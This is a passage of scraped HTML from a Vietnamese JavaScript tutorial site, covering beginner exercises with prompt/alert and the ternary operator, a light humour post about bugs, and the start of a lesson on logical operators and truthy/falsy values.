version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 1</h3> <p>Sử dụng <a href="/ham-tuong-tac-nguoi-dung-alert-confirm-prompt/">hàm <code>prompt</code></a>, hiển thị nội dung yêu cầu người dùng nhập vào một số nguyên dương chẵn.</p> <p>Nếu người dùng nhập vào đúng số chẵn thì hiển thị <strong>Bạn đã nhập đúng!</strong>. Ngược lại, hiển thị <strong>Bạn đã nhập sai!</strong>.</p> <p><em>Giả sử, người dùng luôn nhập vào số nguyên dương.</em></p> <div class="wrap-collapsible margin-bottom"> <input id="collapsible1" class="toggle" type="checkbox"> <label for="collapsible1" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>html</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript"> <span class="token keyword">const</span> value <span class="token operator">=</span> <span class="token function">prompt</span><span class="token punctuation">(</span><span class="token string">"Nhập vào số nguyên dương chẵn:"</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>value <span class="token operator">%</span> <span class="token number">2</span> <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">"Bạn đã nhập đúng!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> <span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">"Bạn đã nhập sai!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> </span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>html</span><span class="token punctuation">></span></span></code></pre></div> <p>👉 <a href="https://blogpost-demo.pages.dev/conditional-branching/task1">Xem demo đáp án bài 1</a></p> </div> </div> </div> <h3 id="bài-2" style="position:relative;"><a href="#b%C3%A0i-2" aria-label="bài 2 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 2</h3> <p>Sử dụng toán tử <code>?</code> thay cho câu lệnh <code>if</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span> <span class="token keyword">let</span> b <span class="token operator">=</span> <span class="token number">20</span><span class="token punctuation">;</span> <span class="token keyword">let</span> result<span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>a <span class="token operator">+</span> b <span class="token operator">&lt;</span> <span class="token number">10</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> result <span class="token operator">=</span> <span class="token string">"Small"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> result <span class="token operator">=</span> <span class="token string">"Big"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>result<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <div class="wrap-collapsible margin-bottom"> <input id="collapsible2" class="toggle" type="checkbox"> <label for="collapsible2" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span> <span class="token keyword">let</span> b <span class="token operator">=</span> <span class="token number">20</span><span class="token punctuation">;</span> <span class="token keyword">let</span> result<span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">result <span class="token operator">=</span> a <span class="token operator">+</span> b <span class="token operator">&lt;</span> <span class="token number">10</span> <span class="token operator">?</span> <span class="token string">"Small"</span> <span class="token operator">:</span> <span class="token string">"Big"</span><span class="token punctuation">;</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>result<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> </div> </div> </div>[email protected]<![CDATA[Ảnh chế vui #2: Code anh không có bug, tất cả chỉ là tính năng]]><![CDATA[Trong lập trình, việc có bug là điều hết sức bình thường. Tuy nhiên, nhiều lập trình viên lại hay sử dụng câu nói này khi bị bạn bè, đồng nghiệp chỉ ra bug trong code của mình.…]]>https://completejavascript.com/anh-che-vui-2-code-anh-khong-co-bug-tat-ca-chi-la-tinh-nang/https://completejavascript.com/anh-che-vui-2-code-anh-khong-co-bug-tat-ca-chi-la-tinh-nang/<![CDATA[Ảnh chế]]>Sat, 06 May 2017 03:50:09 GMT<p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 56.96969696969697%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAACiUlEQVQoz3VRSU9TURS+fbcFF+oSB4wmxoXBIRHD0vgf3Bi3hhhXJCaaEEUCCwQ1Col9rysTh0VRCLUVKQ4gHaDF2kcHOuW1iZSoCyzd8Drxej9z74uNLvySL2e43zn3nHtJc3uztpv5DLZTgl6tIRwOIR6PIxQKQdd1cDDGBDl2jQa+RIP4+uo5/O4pFH9++0dDMqlk5YN3FqVfW7yCxWIxlk6nWSQSEbGpZaY1DGGzM062fqGDha9cZPpOReSazaawpFarV41mE5lsliWTSQQCASwsfILP54OmachkMq3pNjeLiKdzWB69iukbJzF7vQvJRQ/Wcxoq+o7QEABV7hQKBeZyuRCNRuH3+6GqKpxOJ8/DBENZr+PNo9uY6j+BxZvdcA+cwcu+HoQDwdbaomG9XkcwGGQrKyvI5XJYXV1FPp8HjzmrVXEnYus5zD7oxduHpxC91o3lwfNwjZzD4sxrbJXL5oSMMaFWVZXNzc0hEolgbW0NfH23241EIoE/2Pixhen7fZi8cxxqbw/8/afx4tZZ+Obfo2EYZkPDMKr8NzVNY6lUCl6vF8lEAh6PRzTluUajAcMwoOULyGezmB69hMTlLrh6u7D87ilSGQ3l8nZr5UrrkQCUSiUsLS1hu1TC//B9owjf5DNEPs6bRX+B2O32hsPhgF2Wmaw4MD4xgcG7A3g8Pg4ey7IMu6xAVhThK4qMoeFhDI/cw8DQEMbGRqEoDjwRZwoIIQR7CGEdFoL9hOCIleBouwXHbGa8lxB0UoJ9hOCARWhxkGtsBJ02gkOUoIMQHJYIbwYiSRKjkgQbpcxGKWxUArVY0EYp2qwU/KzdyvMUViqZlCRQyQIrJxW1QsO1vwFpDY04KyuWfAAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Ảnh chế vui 2: code anh không có bug, tất cả chỉ là tính năng" title="Ảnh chế vui 2: code anh không có bug, tất cả chỉ là tính năng" src="/static/f681f829bab30cef8e213e031898b297/7c811/anh-che-vui-2-Code-anh-khong-co-bug-tat-ca-chi-la-tinh-nang-completejavascript.com_.png" srcset="/static/f681f829bab30cef8e213e031898b297/103f2/anh-che-vui-2-Code-anh-khong-co-bug-tat-ca-chi-la-tinh-nang-completejavascript.com_.png 165w, /static/f681f829bab30cef8e213e031898b297/748ba/anh-che-vui-2-Code-anh-khong-co-bug-tat-ca-chi-la-tinh-nang-completejavascript.com_.png 330w, /static/f681f829bab30cef8e213e031898b297/7c811/anh-che-vui-2-Code-anh-khong-co-bug-tat-ca-chi-la-tinh-nang-completejavascript.com_.png 660w, /static/f681f829bab30cef8e213e031898b297/a27c6/anh-che-vui-2-Code-anh-khong-co-bug-tat-ca-chi-la-tinh-nang-completejavascript.com_.png 700w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Trong lập trình, việc có <a href="/debug-javascript-de-hay-kho/">bug</a> là điều hết sức bình thường. Tuy nhiên, nhiều lập trình viên lại hay sử dụng câu nói này khi bị bạn bè, đồng nghiệp chỉ ra bug trong code của mình.</p> <p>Thực ra, nghe thì cũng <a href="/tag/anh-che/">vui</a> tai. Nhưng theo quan điểm của mình, nếu có bug thì mình cứ nhận thôi, sau đó fix bug.</p> <p>Fix xong bug thì tất cả đều vui.</p> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <blockquote> <p>Code không bug, sướng nhiều bậc.</p> </blockquote> <p>Xin chào và hẹn gặp lại bạn ở bài viết tiếp theo, thân ái!</p> <h2 id="bài-viết-cùng-chuyên-mục" style="position:relative;"><a href="#b%C3%A0i-vi%E1%BA%BFt-c%C3%B9ng-chuy%C3%AAn-m%E1%BB%A5c" aria-label="bài viết cùng chuyên mục permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài viết cùng chuyên mục</h2> <ul> <li><a href="/anh-che-vui-1-cach-lap-trinh-vien-chay-hang-ngay/">Ảnh chế vui #1: Cách lập trình viên chạy hằng ngày</a></li> <li><a href="/anh-che-vui-3-how-i-met-javascript-parody/">Ảnh chế vui #3: How I met JavaScript – Parody</a></li> <li><a href="/anh-che-vui-4-people-life-vs-programmer-life/">Ảnh chế vui #4: People life vs Programmer life</a></li> <li><a href="/anh-che-vui-5-specialist-vs-generalist-winner/">Ảnh chế vui #5: Specialist vs Generalist – who is the winner?</a></li> <li><a href="/anh-che-vui-6-type-programmer/">Ảnh chế vui #6: A type of programmer</a></li> <li><a href="/anh-che-vui-7-ip-man-4-phien-ban-lap-trinh-vien/">Ảnh chế vui #7: IP man 4 phiên bản lập trình viên</a></li> </ul>[email protected]<![CDATA[Toán tử logic trong JavaScript]]><![CDATA[JavaScript có bốn toán tử logic là: OR ||, AND &&, NOT ! và "Nullish Coalescing" ??. Trong đó, ba toán tử OR, AND và NOT là ba toán tử logic cơ bản mà hầu như ngôn ngữ lập trình…]]>https://completejavascript.com/toan-tu-logic-trong-javascript/https://completejavascript.com/toan-tu-logic-trong-javascript/<![CDATA[Toán tử]]>Fri, 05 May 2017 20:00:00 GMT<p>JavaScript có bốn toán tử logic là: OR <code>||</code>, AND <code>&#x26;&#x26;</code>, NOT <code>!</code> và "Nullish Coalescing" <code>??</code>. Trong đó, ba toán tử OR, AND và NOT là ba toán tử logic cơ bản mà hầu như ngôn ngữ lập trình nào cũng có.</p> <p>Vì vậy, bài viết này sẽ tập trung vào tìm hiểu về ba toán tử OR, AND và NOT. Còn toán tử "Nullish Coalescing" sẽ được giới thiệu ở bài viết sau.</p> <h2 id="toán-tử-logic-là-gì" style="position:relative;"><a href="#to%C3%A1n-t%E1%BB%AD-logic-l%C3%A0-g%C3%AC" aria-label="toán tử logic là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Toán tử logic là gì?</h2> <p><strong>Toán tử logic</strong> là <a href="/toan-tu-la-gi-toan-tu-trong-javascript/">toán tử</a> kết nối hai hay nhiều biểu thức, dùng để kiểm tra mối quan hệ logic giữa các biểu thức. Kết quả cuối cùng phụ thuộc vào giá trị của từng biểu thức và loại toán tử logic.</p> <p>Theo định nghĩa thông thường, toán tử logic chỉ áp dụng cho <a href="/kieu-du-lieu-trong-javascript/">kiểu dữ liệu boolean</a> và kết quả trả về cũng là giá trị <strong>boolean</strong>.</p> <p>Nhưng với JavaScript thì khác, toán tử logic áp dụng cho <strong>bất kỳ kiểu dữ liệu nào</strong> và kết quả trả về cũng là <strong>bất kỳ kiểu dữ liệu nào</strong>. Để làm được điều này, các toán hạng tham gia đều được chuyển về kiểu dữ liệu boolean để kiểm tra tính logic.</p> <p>Trước khi tìm hiểu kỹ hơn về các toán tử logic, bạn cần biết hai khái niệm: <strong>truthy</strong> và <strong>falsy</strong>.</p> <h2 id="truthy-và-falsy-trong-javascript-là-gì" style="position:relative;"><a href="#truthy-v%C3%A0-falsy-trong-javascript-l%C3%A0-g%C3%AC" aria-label="truthy và falsy trong javascript là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Truthy và falsy trong JavaScript là gì?</h2> <p>Như bạn đã biết thì kiểu dữ liệu boolean chỉ có hai giá trị là: <code>true</code> và <code>false</code>. Vì vậy, khi một giá trị được chuyển về kiểu dữ liệu boolean, kết quả sẽ là <code>true</code> hoặc <code>false</code>.</p> <p>Những giá trị mà khi chuyển về kiểu dữ liệu boolean ra giá trị <code>true</code> gọi là <strong>truthy</strong>.</p> <p>Tương tự, những giá trị mà khi chuyển về kiểu dữ liệu boolean ra giá trị <code>false</code> gọi là <strong>falsy</strong>.</p> <blockquote> <p>Để chuyển một giá trị về kiểu dữ liệu boolean, bạn có thể dùng <a href="/ham-la-gi-ham-trong-javascript/">hàm</a> <code>Boolean()</code>.</p> </blockquote> <p>Ví dụ các giá trị <strong>truthy</strong>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Boolean</span><span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true (giá trị true)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Boolean</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true (số nguyên dương)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Boolean</span><span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true (số nguyên âm)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Boolean</span><span class="token punctuation">(</span><span class="token number">100n</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true (số BigInt khác 0)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Boolean</span><span class="token punctuation">(</span><span class="token number">1.5</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true (số thực dương)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Boolean</span><span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">1.5</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true (số thực âm)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Boolean</span><span class="token punctuation">(</span><span class="token string">"0"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true (string khác rỗng)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Boolean</span><span class="token punctuation">(</span><span class="token string">"abc"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true (string khác rỗng)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Boolean</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true (mảng - array)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Boolean</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true (đối tượng - object)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Boolean</span><span class="token punctuation">(</span><span class="token number">Infinity</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true (số dương vô cùng)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Boolean</span><span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">Infinity</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true (số âm vô cùng)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Boolean</span><span class="token punctuation">(</span>alert<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true (hàm)</span></code></pre></div> <p>Ví dụ về các giá trị <strong>falsy</strong>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Boolean</span><span class="token punctuation">(</span><span class="token boolean">false</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Boolean</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Boolean</span><span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false (string rỗng)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Boolean</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Boolean</span><span class="token punctuation">(</span><span class="token keyword">undefined</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">Boolean</span><span class="token punctuation">(</span><span class="token number">NaN</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <h2 id="các-toán-tử-logic-trong-javascript" style="position:relative;"><a href="#c%C3%A1c-to%C3%A1n-t%E1%BB%AD-logic-trong-javascript" aria-label="các toán tử logic trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các toán tử logic trong JavaScript</h2> <p>Sau đây là những kiến thức cơ bản cần biết về toán tử logic OR (<code>||</code>), AND (<code>&#x26;&#x26;</code>) và NOT (<code>!</code>) trong JavaScript.</p> <h3 id="toán-tử-or-" style="position:relative;"><a href="#to%C3%A1n-t%E1%BB%AD-or-" aria-label="toán tử or permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Toán tử OR (<code>||</code>)</h3> <p>Toán tử OR trong JavaScript kí hiệu là <code>||</code> (tạm dịch là toán tử "hoặc").</p> <p>Trong lập trình nói chung, toán tử OR trả về giá trị <code>true</code> nếu có ít nhất một toán hạng là <code>true</code>, ngược lại sẽ trả về <code>false</code>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token boolean">true</span> <span class="token operator">||</span> <span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token boolean">true</span> <span class="token operator">||</span> <span class="token boolean">false</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token boolean">false</span> <span class="token operator">||</span> <span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token boolean">false</span> <span class="token operator">||</span> <span class="token boolean">false</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <p>Ngoài ra, bạn cũng có thể kết hợp nhiều toán tử OR:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token boolean">true</span> <span class="token operator">||</span> <span class="token boolean">true</span> <span class="token operator">||</span> <span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token boolean">true</span> <span class="token operator">||</span> <span class="token boolean">false</span> <span class="token operator">||</span> <span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token boolean">false</span> <span class="token operator">||</span> <span class="token boolean">true</span> <span class="token operator">||</span> <span class="token boolean">false</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token boolean">false</span> <span class="token operator">||</span> <span class="token boolean">false</span> <span class="token operator">||</span> <span class="token boolean">false</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <p>Đó là với logic thông thông thường, còn JavaScript thì phức tạp hơn một chút.</p> <h4 id="quá-trình-xử-lý-của-toán-tử-or-" style="position:relative;"><a href="#qu%C3%A1-tr%C3%ACnh-x%E1%BB%AD-l%C3%BD-c%E1%BB%A7a-to%C3%A1n-t%E1%BB%AD-or-" aria-label="quá trình xử lý của toán tử or permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Quá trình xử lý của toán tử OR (<code>||</code>)</h4> <p>Toán tử OR trong JavaScript sẽ tìm và trả về giá trị <strong>truthy</strong> đầu tiên. Nếu không có giá trị <strong>truthy</strong> nào thì kết quả sẽ là giá trị của toán hạng cuối cùng.</p> <blockquote> <p><strong>Quá trình xử lý như sau</strong>:</p> <ul> <li>Thứ tự thực hiện <strong>từ trái sang phải</strong>.</li> <li>Lần lượt chuyển mỗi toán hạng về kiểu boolean. <ul> <li>Nếu kết quả là <code>true</code> thì trả về giá trị gốc của toán hạng đó và dừng lại.</li> <li>Nếu kết quả là <code>false</code> thì tiếp tục thực hiện với toán hạng tiếp theo.</li> </ul> </li> <li>Nếu không có giá trị <strong>truthy</strong> nào thì kết quả trả về là giá trị của toán hạng cuối cùng.</li> </ul> </blockquote> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">1</span> <span class="token operator">||</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1 (giá trị truthy đầu tiên là 1)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token 